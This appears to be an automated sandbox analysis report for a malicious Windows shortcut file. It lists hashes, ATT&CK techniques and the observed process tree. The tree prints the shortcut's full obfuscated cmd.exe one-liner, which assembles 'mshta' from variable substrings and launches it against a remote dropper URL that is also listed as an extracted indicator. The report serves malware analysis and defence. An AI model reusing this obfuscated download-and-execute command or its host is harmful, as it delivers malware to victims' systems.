735b69c3f291ad3880f41f13070565cf2e840aa941742bbe1ba37b53c39db3a9

Analysis

max time kernel
40s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 18:29

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General

Target
DOC-G77D4M.lnk
Size 2KB
Sample260803-w455psysew
SHA256 735b69c3f291ad3880f41f13070565cf2e840aa941742bbe1ba37b53c39db3a9
MD5 21dd448209d57637279acb4c8c77a2cd
SHA1 feebd0ce6bac4cb8fad85bba0bc410555869f8e3
SHA512 faa21a52070a9c734e353436994fc4d85e7792ec3132ef9e5e894e13332b6cb7d6ebe9e245ab23541dcf8f2d590574ecc658df251a38b092953da54584306a9d
TLSH
T1EF4132403EEA05E4F2BA8F76EAFE27114A7BB9556D30C29E0850810D0927B09D977B37
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2464	cmd.exe
4864	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 4864	2464	cmd.exe	90
PID 4864 wrote to memory of 932	4864	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G77D4M.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2464
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set faR=infarpcaqjqvuevoinf&set dEn=datakvzypnerkwefrkslycttddat&set fYfN=nettksilctcszzxommdmtaxnet&set ALGm=datopabjxlfgdkqwcxddat&set ezS=etmsod&&set jBnc=kcht9cj&&set xQALe=uap&set IjF=winzdqoktivnvqwin&set NpBLL=dbgxvfgdxzwndbg&set hj=nss1u&&set upRRp=ptaw5u&&set eAdmx=ortyle&set zcp=sysqqrfbqljfwsys&&set eM=h@t@tps://@ma-pd@ffill@er.@lat@/h/@e@stag@io@1.@ph@p?r=391469F@B5@D@8@2D@B&&start /b !ezS:~2,2!!jBnc:~2,2!!xQALe:~1,1! !eM:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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